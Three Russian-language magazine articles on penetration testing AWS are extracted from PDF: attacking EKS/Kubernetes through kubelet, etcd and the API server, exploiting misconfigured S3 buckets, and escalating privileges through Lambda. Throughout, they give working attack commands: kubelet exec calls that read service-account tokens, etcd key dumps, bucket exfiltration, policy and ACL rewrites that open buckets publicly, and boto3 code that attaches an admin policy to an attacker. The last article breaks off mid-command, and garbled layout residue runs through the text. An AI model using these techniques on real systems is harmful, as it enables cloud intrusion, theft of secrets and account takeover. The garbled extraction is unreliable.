Kubernetes — лакомый кусочек для пентесте ра . Именно здесь всегда сос редоточено больше всего интерес ной информации , а векторов для получения доступа множес тво . Однако устройство даже простого кластера поначалу может напугать!

Структура EKS

Продолжение статьи →

			hang		e
		C			e	E
	X					E
	-						d
	F								t
	D								i
	D								r
P					NOW!				o
P
	wClick			BUY					o m	COVERSTORY
	wClick		to	BUY					o m	COVERSTORY
			to
w
w								.c
	.			c				.c
	p	df		c			e
	p					g
					n
			-x ha

			hang		e
		C			e	E
	X					E
	-						d
	F							t
	D							i
	D								r
P					NOW!				o
← НАЧАЛО СТАТЬИ w.				BUY	NOW!
← НАЧАЛО СТАТЬИ w.			to	BUY				.co
w Click			to							m
w Click										m
w
	p	df		c			e
	p					g
					n
			-x ha

ПЕНТЕСТИМ

DOCKER И KUBERNETES

В ОБЛАКЕ AMAZON

Создает ся кластер . В нашем случае есть два VPC: EKS VPC — основной и Customer VPC — дочерний . В дочернем существу ют рабочие экземпля ры , на которых работают приложе ния . Поэтому очень важно во время пентеста определить , какой VPC принад лежит узел управления (EKS Control Panel), а на какой запускают ся приложе ния .

Во многом структура похожа на обычный кластер Kubernetes. Те же ноды, те же балансиров щики нагрузки , те же средства управления . Kubernetes может хранить множес тво секретов , множес тво мисконфи гов и множес тво потен циальных векторов для атак!

Опять же Kubernetes интересен нам потому, что, выбравшись к ноде, попадем в VPC, что не может не радовать.

Initial Access

Kubelet API

Это служба , которая работает на каждом узле кластера . Она следит за тем, чтобы контей неры были запущены в поде, и взаимо дей ству ет с kube-apiserver. По умолчанию работает на порте 10250.

Обнаружить ее просто . Например , можешь ввести в Shodan port:10250 Kubernetes.

Исполь зование Shodan для поиска уязвимос ти

В некоторых случаях будет доступ только для чтения . То есть максимум сможем получать информацию из API: устройство кластера , имена подов, рас положение файлов и другие настрой ки. Это не критичес кая информация , но ее все же не следует выкладывать в интернет.

Например , можно злоупот ребить этим, обратив шись к следующе му URL:

http://external-IP:10255/pods

Обнаружи ваем ключи доступа в AWS

В переменных среды контей нера неприлич но часто встречают ся чувстви тель ные данные , как в этом примере — ключи доступа для AWS. Получим доступ

к этому контей неру — получим доступ в облако .

Но нам может очень крупно повезти , ведь по умолчанию к этому сервису предос тавляется аноним ный доступ .

Особен ность даже указана в материалах о настрой ке

Правда , возника ют определен ные проблемы . API службы Kubelet не докумен тирован, хотя когда это мешало хакерам? Мы ведь можем просто глянуть в ис ходный код.

Стоит искать строку , которая начинается с path(.

Обнаружи ваем конечные точки

Я обнаружил следующие интерес ные эндпоинты :

/pods/

/run/

/exec/

/attach/

/portForward/

/containerLogs/

/runningpods/

Обрати внимание на /exec/ и /run/. С помощью этих конечных точек можно выполнить код внутри контей нера ! Причем существу ет даже инстру мент для эксплу ата ции , но, чтобы лучше понять суть процес са , рекомендую исполь зовать curl:

# Получить все пространства имен, поды и контейнеры

curl -k https://10.10.11.133:10250/pods/ | jq -r '.items[] | [.

metadata.namespace, .metadata.name, [.spec.containers[].name]]'

curl -k https://10.10.11.133:10250/runningpods/ | jq -r '.items[]

| [.metadata.namespace, .metadata.name, [.spec.containers[].name]]

# /run

curl -XPOST -k https://10.10.11.133:10250/run/{namespace}/{pod}/{

container} \

-d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/ca.

crt /var/run/secrets/kubernetes.io/serviceaccount/token"

# /exec

curl -sk -X POST -H "X-Stream-Protocol-Version: v2.channel.k8s.io"

-H "X-Stream-Protocol-Version: channel.k8s.io" \

https://10.10.11.133:10250/exec/{namespace}/{pod}/{container} \

-d 'input=1' -d 'output=1' -d 'tty=1' \

-d 'command=ls' -d 'command=/'

Как вариант , можешь использовать kubeletctl:

kubeletctl exec /bin/sh -n <namespace> -p <pod> -c <container> -s

<IP> --cacert ./ca.crt

kubeletctl exec /bin/sh -p kube-proxy-84qt4 -c kube-proxy -n kube-

system -s 10.129.227.136 --cacert ./ca.crt

etcd

Аноним ные сессии на этом не заканчива ются ! Такому же мисконфи гу может быть подверже но и хранили ще etcd. Оно имеет формат «ключ — значение » и содержит всю информацию о конфигура ции кластера Kubernetes. В нем так же хранит ся текущее состояние системы и желаемое (например , после деп лоймен та ).

С поиском снова поможет Shodan: port:2379 product:"etcd".

Обнаружи ваем etcd через Shodan

В etcd всегда лежит много секретов , получить к ним доступ можно , например , с помощью MSF:

use auxiliary/scanner/etcd/open_key_scanner

set RHOSTS TARGETIP

exploit

Получа ем ключи etcd через MSF

Если Metasploit по каким то причинам не устраивает , можешь использовать etcdctl:

etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix

--keys-only

Kube-ApiServer

Наконец , если не было уязвимос ти ни в Kubelet, ни в etcd, то посмотри в сто рону API-сервера . С этой службой общаются обычно с помощью инстру мента kubectl, а располага ется она на 6443-м, 443-м или 8443-м порте . Проверить работоспособ ность можно так:

curl -k https://IP:6443/swaggerapi

curl -k https://IP:8443/healthz

curl -k https://IP:443/api/v1

Однако получить RCE таким методом, к сожалению , не получится .

Перечисление

При получении доступа в AWS CLI открывают ся богатые возможнос ти для поис ка информации .

Получить список доступных кластеров можно командой aws eks listclusters.

Kubernetes-кластеры в AWS

Получить информацию об определен ном кластере :

aws eks describe-cluster --name <Cluster-Name>

Пример :

aws eks describe-cluster --name RedTeamCluster

Подробные данные о кластере

Обрати внимание на следующее :

•version — версия Kubernetes, которая использует ся;

•endpoint — конечная точка для доступа к этому кластеру . В некоторых редких конфигура циях она может быть доступна из интернета , что зна чительно упрощает пентест ;

•vpcId — VPC, в котором находится кластер ;

•endpointPublicAccess — разрешен ли доступ без аутентифика ции

кэндпоинту ;

•publicAccessCidrs — диапазон IP, из которого можно получить доступ

ккластеру .

Чаще всего , попав в облако из Kubernetes, можно получить привиле гиро ван ную учетку . У нее может не быть никаких прав в AWS, но при этом она может уметь делать все, что захочешь, в среде Kubernetes.

Одна из первых настро ек кластера на EKS, которые нужно сделать еще до запуска узлов, — это добавление роли узла IAM в группу system:nodes. Эта группа привяза на к роли Kubernetes system:node, у которой есть права на чте ние разных объектов Kubernetes: сервисов , узлов, подов, постоян ных томов и восемнадца ти других ресурсов . Все, что нам нужно сделать , чтобы унас ледовать эти полномочия , — попросить AWS преобра зовать наши ключи дос тупа IAM в действи тель ный токен Kubernetes, чтобы мы могли запрашивать

сервер API как член группы system:nodes:

aws eks get-token --cluster-name <имя кластера> --profile

<профиль>

Пример :

aws eks get-token --cluster-name RedTeamCluster --profile node

Получе ние токена Kubernetes

ВЫВОДЫ

Безопас ность контей нерных сред — все более и более актуаль ная проблема . Как ты смог убедить ся, получить первоначаль ный доступ в AWS не так и слож но. Злоумыш ленник, сбегая из контей нера, вылезет где нибудь в VPC, что может нанести компании огромный ущерб!

Дальше нарушитель будет повышать привиле гии, собирать информацию из etcd, искать доступ к другим VPC. Об этих техниках я расска жу в следующих статьях .

			hang			e
		C				e	E
	X						E
	-							d
	F								t
	D								i
	D								r
P						NOW!			o
P
	wClick			BUY					o m	COVERSTORY
	wClick		to						o m	COVERSTORY


w
w				c				.c
	.			c				.c
	p						g
		df	-x			n		e
			-x		ha

				hang		e
			C			e	E
		X					E
	-							d
	F								t
	D								i
	D								r
P						NOW!			o
P
					BUY
				to	BUY
w Click				to						m
w Click										m
w
	w				c				o
	.				c			.c
		p					g
			df			n		e
				-x ha

КАК ИСКАТЬ УЯЗВИМОСТИ В БАКЕТАХ AWS S3


Хранили	ще Amazon S3, хоть и содержит
статичес кие				данные , может открывать
большие		возможнос ти при пентесте								. Неп
равильно		выставлен			ные		разрешения				поз
воляют хакерам выискивать								в S3 чувстви
тельные			данные , которые дадут								путь
для дальнейше го продвижения									. В этой
статье мы посмотрим						, как могут выглядеть
мисконфи			ги S3 и как их эксплу ати ровать .

MichelleVermishelle

17 y.o. | TG: @MichaelZhm michael.zhmailo@yandex.ru

Статья имеет ознакоми

тель ный

характер и пред

назначена

для

специалис

тов

по безопасности

проводя

щих

тестирова

ние

в рамках

контрак та .

Автор и

редакция

не несут

ответствен ности

за любой вред, причинен ный

с примене нием

изложен ной

информации . Распростра

нение

вре

доносных

программ , нарушение

работы систем

и нарушение

тайны

переписки преследу

ются

по закону.

ТЕОРИЯ

У бакетов есть возможность контро ля доступа : объекты могут быть общедос тупными либо приват ными . Доступ к приват ным бывает как только для чтения , так и с возможностью записи.

Как выглядит S3

Внутри S3 есть два типа данных : Bucket — контей нер для объектов и Object — сам файл. Самые частые способы взаимо дей ствия :

•List — перечислить все хранили ща S3 или файлы на S3;

•Get — получить файл;

•Put — поместить файл на S3;

•Delete — удалить файл.

Формат URL для доступа к S3 выглядит так:

http(s)://{имя бакета}.s3.{регион}.amazonaws.com

Здесь {имя} определя ется владель цем бакета, например :

https://xakeprufiles.s3.us-west-2.amazonaws.com


Бакеты	S3 можно обнаружить						разными		способа ми , например		найти URL
в исходном коде страницы					веб сайта , в репозитори ях GitHub или даже авто
матизиро вать		процесс		с помощью готовых утилит .
Для перебора можно использовать								название		компании , за которым следуют
общие термины			. Например , xakepru-assets, xakepru-www, xakepru-public,
xakepru-private и так далее.
Также к бакету или объекту						может быть привяза на политика безопасности .

Полити ки бакета

С помощью политик можно указать , кто имеет доступ к ресурсу и какие дей ствия может выполнять с ним. Есть четыре варианта :

•публичный доступ (Public Access);

•ACL — сокращение от Access Control List. Можно настра ивать как на бакет, так и на конкрет ный объект бакета;

•Bucket Policies — настра иваются только для бакета;

•Time Limited URLs — времен ные URL для доступа .

Еще есть политики , основан ные на личности , они прикрепля ются к пользовате лю, группе или роли IAM. Позволя ют определять , что объект может делать.

ПОИСК БАКЕТОВ

Начать стоит с сервиса greyhatwarfare.com. Он позволя ет находить бакеты и объекты в них с помощью ключевых слов.

Обнаруже ние бакетов

Если толком ничего не находится , то идем на сайт компании . Здесь нам поможет Burp Suite. Просто просматри вай веб сайт, а затем анализи руй полученную карту .

При этом бакеты всегда находятся на следующих URL:

http://s3.[region].amazonaws.com/[bucket_name]/

http://[bucket_name].s3.[region].amazonaws.com/

http://s3-website-[region].amazonaws.com/[bucket_name]

http://[bucket_name].s3-website-[region].amazonaws.com

http://[bucketname].s3.dualstack.[region].amazonaws.com

http://s3.dualstack.[region].amazonaws.com/[bucketname]

Нужно ли нам подбирать правиль ный регион ? Нет! Amazon любезно подска жет, что мы ищем где то не там. Поэтому нам достаточ но лишь названия бакета.

Невер ный регион

Но как получить это название ? Чаще всего оно скрывает ся в записях CNAME (в них сопоставле ны псевдонимы с исходными DNS-именами ) домена атакуемой компании . Обнаружить их можно вот так:

dig <domain> any

Пример :

dig flaws.cloud any

Смотрим DNS

Да, может быть, CNAME и пуст, но посмотрим , что еще есть на этом IP:

nslookup <ip>

Пример :

nslookup 52.218.192.11

Обратный поиск

И получим, что к IP привязан еще и адрес s3-website-us-west-2.amazonaws. com. Это так называемый Website Endpoint. Эндпоинты используют ся , когда с бакетом интегрирован простень кий статичес кий веб сайт.

Все бакеты S3, настро енные для веб хостинга , получают домен AWS, который можно использовать без собствен ного DNS. То есть имя бакета в дан ном случае совпада ет с именем домена, а именно flaws.cloud.

Конеч но же, каждый домен перебирать вручную проблематич но. Ускорит дело простень кий скрипт на Bash:

while read p; do

echo $p, curl --silent -I -i http://$p | grep AmazonS3

done < subdomains.txt

Перебор доменов

Обрати внимание , что не все домены зарегистри рова ны как записи CNAME. Некоторые могут не отображать ся явно в процес се разрешения имен. В таком случае удобно использовать сайт dnscharts.hacklikeapornstar.com. Сюда можно загрузить список доменов, а сервис уже самостоятель но найдет записи и по возможнос ти сопоставит их с облачными сервисами .

Визуали зация всех записей

Если ты не знаешь , как находить поддомены , то рекомендую утилиту Amass в связке с новой техникой перечисления доменов.

На небольших таргетах одного инстру мен та будет достаточ но :

amass enum -d <атакуемый домен> -passive -o res.txt

Пассивное сканиро вание найдет много лишнего , поэтому можно использовать активное:

amass enum -d <атакуемый домен> -active -o res.txt

Найден ные поддомены

Но если все еще мало, то загружай домены в Regulator:

python3 main.py <атакуемый домен> <файл с доменами> <output-file>

Пример :

python3 main.py flaws.cloud res.txt flaws.rules

И генерируй список доменов с помощью полученных правил :

make_brute_list.sh flaws.rules flaws.brute

Итоговый список можно начинать проверять на валидность :

puredns resolve flaws.brute --write flaws.valid

Наконец , если никак не получается обнаружить имя бакета, то можно поп робовать его сбрутить . Для этого существу ет куча инстру ментов:

•S3Scanner;

•s3-inspector;

•AWSBucketDump (содержит список возможных имен);

•fumberbuckets;

•bucky;

•teh_s3_bucketeers;

•aws-pentest-tools/s3.

ПОЛУЧЕНИЕ СОДЕРЖИМОГО

Когда ты обнаружил максималь ное число бакетов, пора переходить к перечис лению их содержимого . С этим отлично справляет ся AWS CLI:

aws configure

Дальше вводим данные любой действи тель ной учетной записи AWS. Сущес тву ет флаг --no-sign-request, который позволя ет получать ано

нимный доступ , но я рекомендую все таки вводить хоть какие нибудь учетные данные .

Иногда бывает , что от анонима ничего не найти , но разведка от лица какого нибудь пользовате ля раскры вает интерес ную информацию . Подчерки ваю: требует ся ввести данные любой учетной записи AWS. Абсолют но любой.

Предлагаю начать с получения полного списка объектов в бакете:

aws aws s3 ls s3://<имя бакета> --recursive

Либо :

aws s3api list-objects-v2 --bucket <имя бакета>

Пример :

aws s3 ls s3://flaws.cloud --recursive

aws s3api list-objects-v2 --bucket flaws.cloud

Изучение объектов бакета

Если объектов очень много , то можно покопаться в них с помощью стандар тных регулярок .

#Извлечение имен файлов из параметра Key (имя файла) grep '"Key"' object.txt | sed 's/[",]//g' > list_keys.txt

#Указываем интересующие нас расширения

patterns='\.sh$|\.sql$|\.tar\.gz$\.properties$|\.config$|\.tgz$\.

conf$|\.zip$|\.7z$|\.rar$|\.txt$|\.ps1$|\.bat$|\.word$|\.xlsx$|\.

xls$|\.pdf$'

# Находим файлы, соответствующие шаблону

egrep $patterns list_keys.txt

Когда список возможных объектов получен, можно скачать их вот так:

aws s3api get-object --bucket <bucket-name> --key <имя файла> <

download-file-location>

Например :

aws s3api get-object --bucket flaws.cloud --key aws.txt C:\Users\U

ser\Desktop\downloaded.txt

Также можно скачать бакет целиком:

aws s3 sync s3://<bucket>/ .

Очень много бакетов содержат репозитории на GitHub. Если такой найдет ся, обязатель но попытайся достать интерес ную информацию с помощью Gitleaks

или TrufeHog.

РАЗВЕДКА ИЗ ОБЛАКА

Не стоит забывать про бакеты, даже если у нас уже есть доступ в AWS. Ведь именно в бакетах постоян но встречают ся файлы конфигура ции , кукбуки , скрип ты, необработан ные данные , а иногда даже бэкапы баз данных .

AWS CLI

Начина ем всегда с перечисления доступных бакетов:

aws s3api list-buckets

Продолжение статьи →

			hang		e
		C			e	E
	X					E
	-						d
	F								t
	D								i
	D								r
P					NOW!				o
P
	wClick			BUY					o m	COVERSTORY
	wClick		to						o m	COVERSTORY


w
w								.c
	.			c				.c
	p	df		c			e
	p					g
					n
			-x ha

			hang		e
		C			e	E
	X					E
	-						d
	F							t
	D							i
	D								r
P					NOW!				o
← НАЧАЛО СТАТЬИ w.				BUY	NOW!
← НАЧАЛО СТАТЬИ w.			to					.co

w Click										m
w Click										m
w
	p	df		c			e
	p					g
					n
			-x ha

КАК ИСКАТЬ УЯЗВИМОСТИ В БАКЕТАХ AWS S3

Поиск бакетов

Теперь можем изучить все ACL, настро енные на бакет:

aws s3api get-bucket-acl --bucket <bucket-name>

Например :

aws s3api get-bucket-acl --bucket buckettest

Просмотр ACL

Несложно догадаться , что Grantee — объект , которому выдаются права . Настоящий хакер должен быть незаметным , как ниндзя . Поэтому обя

зательно проверяй , ведутся ли логи у атакуемо го бакета:

aws s3api get-bucket-logging --bucket <имя бакета>

Например :

aws s3api get-bucket-logging --bucket buckettest

Если логирования нет, вывода не будет.

Отсутс твие логирования

Если же логирование присутс тву ет , AWS CLI уведомит нас об этом.

Логиро вание существу ет

В данном случае все логи доступа к бакету buckettestlogging будут лежать в бакете xakepru.

Обязатель но посмотри и политику , привязан ную к бакету:

aws s3api get-public-access-block --bucket <bucket-name>

Например :

aws s3api get-public-access-block --bucket buckettest

Изучаем политики , привязан ные к бакету

Полити ки бывают следующие :

•BlockPublicAcls — если true, то предот вращает создание любых ACL или изменение существу ющих ACL, дающих публичный доступ к бакету;

•IgnorePublicAcls — если true, то любые действия с общедос тупными ACL будут игнориро ваться; это не помешает их создать , но предот вратит последс твия;

•BlockPublicPolicy — если true, то ставит ся запрет на создание или изменение политики , которая разреша ет публичный доступ ;

•RestrictedPublicBuckets — если true, то к бакету смогут получить доступ лишь авторизо ванные пользовате ли. Собствен но, из за этого параметра я и советовал тебе указывать данные любой учетной записи

AWS.

Наконец , получаем все объекты в определен ном бакете:

aws s3api list-objects-v2 --bucket <bucket name>

Пример :

aws s3api list-objects-v2 --bucket xakepru

Список объектов

Также ты можешь получить информацию об ACL конкрет ного объекта :

aws s3api get-object-acl --bucket <bucket-name> --key <object-

name>

Пример :

aws s3api get-object-acl --bucket xakepru --key aws.txt

aws s3api get-object-acl --bucket xakepru --key folder1/aws.txt

Эксфильтрация

Чтобы достать данные из бакета, нам требует ся доступ на чтение (READ).

Способы получения доступа к объектам

Давай повторим пройден ное . Как ты уже понял, самый частый мисконфиг — всем пользовате лям предос тавля ются права на чтение . В таком случае мы можем найти адрес бакета и прочитать его содержимое даже без аутен тификации . Также бывает , что права на чтение есть лишь у авторизо ван ных пользовате лей либо у одного конкрет ного пользовате ля . В таком случае мы сможем получить доступ к содержимому через API или CLI. Наконец, доступ

к бакету можно получить, используя специаль но сгенери рован ную времен ную ссылку .

Полез но также смотреть размеры бакета и опись содержимого :

aws s3api list-objects --bucket <имя бакета> --output json --query

"[sum(Contents[].Size), length(Contents[])]"

Пример :

aws s3api list-objects --bucket flaws.cloud --output json --query

"[sum(Contents[].Size), length(Contents[])]"

Размеры бакета

Как скачивать отдельный объект с помощью get-object либо весь бакет с помощью sync, мы уже разобрали . Теперь обратим внимание на времен ную ссылку для скачива ния объектов . Любой, кто имеет валидные учетные данные и доступ к бакету, может создать ее:

aws s3 presign s3://<Bucket-Name>/<key-Object-Name> --expires-in

<время в секундах>

Пример :

aws s3 presign s3://xakepru/Xakep001.pdf --expires-in 604800

Получе ние времен ной ссылки на скачива ние объекта

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

К бакету могут быть привяза ны политики , ACL, поэтому , имея определен ные права , можем сделать , например , бакет общедос тупным .

Изменение политики бакета

Для эксплу атации требует ся наличие s3:PutBucketPolicy. С этой привиле гией сможем предос тавить больше разрешений на бакеты, например раз решим себе читать, записывать , изменять и удалять бакеты:

aws s3api put-bucket-policy --policy file:///root/policy.json

--bucket <имя бакета>

Сама политика может выглядеть вот так:

{

"Id": "Policy1568185116930",

"Version": "2012-10-17",

"Statement": [

{

"Sid": "Stmt1568184932403",

"Action": [

"s3:*"

"Effect": "Allow",

"Resource": "arn:aws:s3:::<имя бакета>",

"Principal": "*"

}

Изменение ACL бакета

Нам нужно s3:PutBucketAcl. Благода ря такой привиле гии сможем изменить ACL, привязан ный к бакету:

aws s3api put-bucket-acl --bucket <имя бакета>

--access-control-policy file://acl.json

Пример политики :

{

"Owner": {

"DisplayName": "<Кого ты хочешь сделать владельцем>",

"ID": "<ID>"

"Grants": [

{

"Grantee": {

"Type": "Group",

"URI": "http://acs.amazonaws.com/groups/global/

AuthenticatedUsers"

"Permission": "FULL_CONTROL"

}

]

}

Изменение ACL объекта

Для этого потребу ется s3:PutObjectAcl. Может быть так, что ACL на бакет изменить мы не сможем , но вот ACL на определен ный объект в состоянии . Эксплу атируем:

aws s3api put-object-acl --bucket <имя бакета> --key <объект>

--access-control-policy file://objacl.json

Полити ка может быть вот такой:

{

"Owner": {

"DisplayName": "<Кого ты хочешь сделать владельцем>",

"ID": "<ID>"

"Grants": [

{

"Grantee": {

"Type": "Group",

"URI": "http://acs.amazonaws.com/groups/global/

AuthenticatedUsers"

"Permission": "FULL_CONTROL"

}

]

}

ВЫВОДЫ

Казалось бы, S3 — не более чем сервис хранения данных . Но, как ты смог убе диться , даже обычное файлох ранили ще может быть уязвимым само и откры вать другие уязвимос ти . Любая возможность расширить поверхность атаки важна при пентестах , и плохо настро енные бакеты могут в этом плане сос лужить отличную службу .

			hang			e
		C				e	E
	X						E
	-							d
	F								t
	D								i
	D								r
P						NOW!			o
P
	wClick			BUY					o m	COVERSTORY
	wClick		to						o m	COVERSTORY


w
w				c				.c
	.			c				.c
	p						g
		df	-x			n		e
			-x		ha

				hang		e
			C			e	E
		X					E
	-							d
	F								t
	D								i
	D								r
P						NOW!			o
P
					BUY
				to	BUY
w Click				to						m
w Click										m
w
	w				c				o
	.				c			.c
		p					g
			df			n		e
				-x ha

ЭКСПЛУАТИРУЕМ AWS LAMBDA

В экосис теме AWS имеется интерес ней ший механизм Lambda — это служба бес серверных вычислений , которая запускает код в ответ на определен ное событие. Причем она умеет автомати чес ки выделять для этого необходимые ресурсы . Сегодня мы поговорим о том, как исполь зовать ее, чтобы проник нуть в облако AWS и повысить привиле гии .

MichelleVermishelle

17 y.o. | TG: @MichaelZhm michael.zhmailo@yandex.ru

О том, как можно эксплу ати ровать другие уяз вимости AWS, читай в статье «Провер ка ведер. Как искать уязвимос ти в бакетах AWS S3».

ТЕОРИЯ

AWS Lambda

Как работает AWS Lambda? Если простыми словами : ты добавляешь свой скрипт и задаешь триггер или событие, при наступле нии которого будет запус каться этот код. Больше делать ничего не нужно , потому что обо всем дру гом — админис трировании, мониторин ге работы, безопасности , журналах , логах — позаботит ся сервис AWS Lambda. Когда событий нет, лямбда не выполняет ся, соответс твенно, ресурсы не потребля ются.

Устрой ство лямбды

Лямбда-функция

Лямбда функция — это часть кода, которая выполняет ся каждый раз, когда срабаты вает триггер .

Устрой ство лямбда функции

Сущес тву ет три типа триггеров , отличают ся они способом вызова:

• потоко вый — срабаты вает при изменени ях в чем либо, например при добавлении данных в БД;

•синхрон ный — срабаты вает при получении запроса на какой то конечной точке , которая вызывает лямбда функцию ;

•асинхрон ный — происхо дит в случае какого либо события, например при загрузке файла на S3.

При этом вызов возможно выполнить и с помощью API Gateway.

API Gateway

Служба API Gateway упрощает разработ чикам работу с API. Поддержи вает ся

REST, HTTP и WebSocket API.

Состав API Gateway

Мы можем привязать API Gateway к какому то сервису , мобильному приложе нию, даже к IOT, — главное , чтобы у них был доступ в интернет. После этого оно будет стучать на API-шлюз, с которого и станут вызываться требуемые действия .

Стандар тное использование API Gateway

ПЕРВОНАЧАЛЬНЫЙ ДОСТУП

Чаще всего через лямбду в облако не попадают . Но в случае обнаруже ния функции , гейтвея , создания полной ссылки и требуемо го набора параметров можно все таки попробовать . Например , если лямбда функция принима ет какую либо команду для запуска в cmd:

https://i8jee1mn2f.execute-api.us-east-2.amazonaws.com/prod/

system?cmd=env

Пример эксплу ата ции уязвимос ти

РАЗВЕДКА

Lambda Function

На первом этапе нужно хорошенько разведать обстанов ку и поискать уяз вимые места . На помощь нам придет AWS CLI. Чтобы увидеть все лям бда функции , восполь зуемся следующей командой :

aws lambda list-functions

Получить лямбда функции в отдельном регионе :

aws lambda list-functions --region us-east-1

Поиск лямбда функций

Изучение зависимос тей

•FunctionArn — уникаль ный идентифика тор функции ;

•Runtime — язык, на котором написана функция ;

•Role — роль, которую имеет лямбда функция . Возможно , определен ная лямбда функция имеет доступ к другим службам . Соответс твенно, мы так же можем определить политики , привязан ные к лямбда функции ;

•Layers — зависимос ти лямбда функции .

Получить информацию о конкрет ной лямбда функции (в том числе исходный код) можно следующим образом :

aws lambda get-function --function-name <function-name> [--region

eu-west-1 --profile demo]

Пример :

aws lambda get-function --function-name PentestingForFun

Смотрим определен ную функцию

В приведен ном выше примере мы видим раздел Code, а в нем — Location. То есть код извлекает ся по этому пути, в данном случае это S3-бакет awslambda- us-west2-tasks. Перейдя по указан ной ссылке (либо порывшись в указан ном бакете), мы сможем скачать код лямбда функции .

При этом в выводе данной команды есть огромная структура Configuration, которую тоже стоит обязатель но посмотреть . Во время пен тестов мы часто обнаружи вали здесь учетные данные .

Учетные данные в переменных среды

Исходный код зависимос ти можно получить вот так:

aws lambda get-layer-version --layer-name <LayerName>

--version-number <VersionNumber>

Пример :

aws lambda get-layer-version --layer-name request-library

--version-number 1

Теперь обрати внимание на способы вызова функции .

aws lambda get-policy --function-name <function-name>

Пример :

aws lambda get-policy --function-name PentestingForFun

Объекты , способ ные вызывать синхрон ный триггер

•Service — кому разрешено дергать функцию ;

•Action — что может сделать Service;

•Resource — какие объекты могут быть вызваны .


В лямбда функци ях иногда		встречает ся раздел	Condition. Он		отвечает
за «фильтра цию » — каким методом и каким образом				вызывается	лямбда .
Именно в нем всегда будет прятать ся айдишник , по которому ты сможешь
определить	, к какому гейтвею	привяза на лямбда функция .

Пример Condition

В данном случае uj3lq1cu8e — REST API ID. При этом триггер может сра ботать и от изменений в чем либо. Для получения информации о подобных событиях существу ет вот такой командлет :

aws lambda list-event-source-mappings --function-name <

function-name>

Пример :

aws lambda list-event-source-mappings --function-name

PentestingForFun

Что приведет к асинхрон ному /потоковому триггеру

В этом случае использует ся Amazon Simple Queue Service (SQS) — служба оче

реди сообщений .

API Gateway

После изучения доступных лямбда функций пора восста навливать URL, который приведет к ее вызову. Чтобы увидеть все REST APIs (получить айдиш ник, так как Region зачастую схож с большинс твом регионов , в котором стоят ЕС2-инстансы ), восполь зуемся следующей командой :

aws apigateway get-rest-apis

Обнаруже ние всех REST API

Информа цию о конкрет ном API поможет достать эта команда :

aws apigateway get-rest-api --rest-api-id <ApiId>

Чтобы найти все конечные точки (которые также называют объекта ми ), вос пользуем ся такой директивой :

aws apigateway get-resources --rest-api-id <ApiId>

Изучение всех расположе ний

В нашем примере поддержи вает ся метод запроса GET к ресурсу 18ds4f9r2rb, поэтому на следующем шаге изучаем его глубже :

aws apigateway get-method --rest-api-id <ApiID> --resource-id <

ResourceID> --http-method <Method>

Пример :

aws apigateway get-method --rest-api-id 18ds4f9r2rb --resource-id

7xhd4f9l3mz --http-method GET

Изучение конкрет ного метода

Вот самые интерес ные параметры :

•authorizationType — тип авториза ции;

•apiKeyRequired — чтобы вызвать метод, требует ся ключ (допустим , в нашем случае для использования метода GET на конечной точке нам дос таточно просто отправить запрос );

•methodIntegration — то, что происхо дит на заднем плане ;

•type — с чем это интегрирова но;

•uri — в нашем случае мы видим, что метод дергает лямбда функцию .

Таким образом мы можем идентифици ровать API Gateway с конкрет ной лям бда функци ей . Если для вызова требует ся ключ API, то есть возможность перечислить все API-ключи , присутс тву ющие в текущей УЗ:

aws apigateway get-api-keys --include-values

Получе ние API-ключей

Наконец , остается лишь перечислить все расположе ния :

aws apigateway get-stages --rest-api-id <ApiId>

Теперь у нас есть достаточ ный объем информации , чтобы постро ить URLадрес для использования лямбда функции . Параметры ты сможешь опре делить, посмотрев исходный код.

Продолжение статьи →

			hang		e
		C			e	E
	X					E
	-						d
	F								t
	D								i
	D								r
P					NOW!				o
P
	wClick			BUY					o m	COVERSTORY
	wClick		to						o m	COVERSTORY


w
w								.c
	.			c				.c
	p	df		c			e
	p					g
					n
			-x ha

			hang		e
		C			e	E
	X					E
	-						d
	F							t
	D							i
	D								r
P					NOW!				o
← НАЧАЛО СТАТЬИ w.				BUY	NOW!
← НАЧАЛО СТАТЬИ w.			to					.co

w Click										m
w Click										m
w
	p	df		c			e
	p					g
					n
			-x ha

ЭКСПЛУАТИРУЕМ AWS LAMBDA

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Создание и вызов функции с привязкой роли

Повышать свои привиле гии с помощью лямбды невероятно интерес но! Нап ример, существу ет пользователь с правами на привяз ку роли (iam:PassRole)

исоздание лямбда функций (lambda:CreateFunction). Вектор таков:

написать код, который привяжет к учетной записи атакующе го админис тра тив ную политику . Шаги следующие :

1.Создаем лямбда функцию , связывая ее с какой либо ролью. Причем у этой роли должны быть права на вызов iam:AttachRolePolicy или iam: AttachUserPolicy.

2.Вызыва ем созданную функцию , что приводит к исполнению кода.

3. Код привязы вает админис тра тив ную политику сначала к лямбда роли,

а потом к атакующе му .

4.У нас появляют ся права админис тра тора .

Повыше ние привиле гий с помощью лямбды

Если у роли лямбда функции имеется привиле гия AttachRolePolicy, то сна чала привяжем политику админис тра тора к ней, а потом к атакующе му . Для этого можно использовать следующий код:

import boto3

import json

def lambda_handler(event, context):

iam = boto3.client("iam")

iam.attach_role_policy(RoleName="<роль, к которой привязывать

лямбда-функцию>", PolicyArn="<политика с административным

доступом>",) # Привязка политики к роли

iam.attach_user_policy(UserName="<пользователь, к которому

привязывать политику>", PolicyArn="<политика с административным

доступом>",) # Привязка политики к пользователю

return {

'statusCode': 200,

'body': json.dumps("AWS Service")

}

Если у роли лямбда функции имеется привиле гия AttachUserPolicy, то мы можем сразу привязать к атакующе му админис тративную политику :

import boto3

import json

def lambda_handler(event, context):

iam = boto3.client("iam")

iam.attach_user_policy(UserName="<пользователь, к которому

привязывать политику>", PolicyArn="<политика с административным

доступом>",) # Привязка политики к пользователю

return {

'statusCode': 200,

'body': json.dumps("AWS Service")

}

Как обнаружить роли, мы изучили в первой статье. Твоя задача — найти роль, у которой есть требуемые для эксплу ата ции привиле гии (iam: AttachRolePolicy или iam:AttachUserPolicy), а также возможность связать ее с лямбда функци ей .

Теперь можно создать лямбда функцию . Именно она и обеспечива ет нам повышение привиле гий :

aws lambda create-function --function-name <имя создаваемой лямбда

-функции> --runtime <язык, на котором написан код> --zip-file <

файл .zip с исходным кодом> --handler <хендлер (это имя лямбда-

функции + какую функцию вызывать из питона)> --role <ARN роли, к

которой привязана политика с iam:AttachRolePolicy> --region <

регион>

Пример :

aws lambda create-function --function-name awsservicelambda

--runtime python3.7 --zip-file fileb://awsservicelambda.zip

--handler awsservicelambda.lambda_handler --role arn:aws:iam::

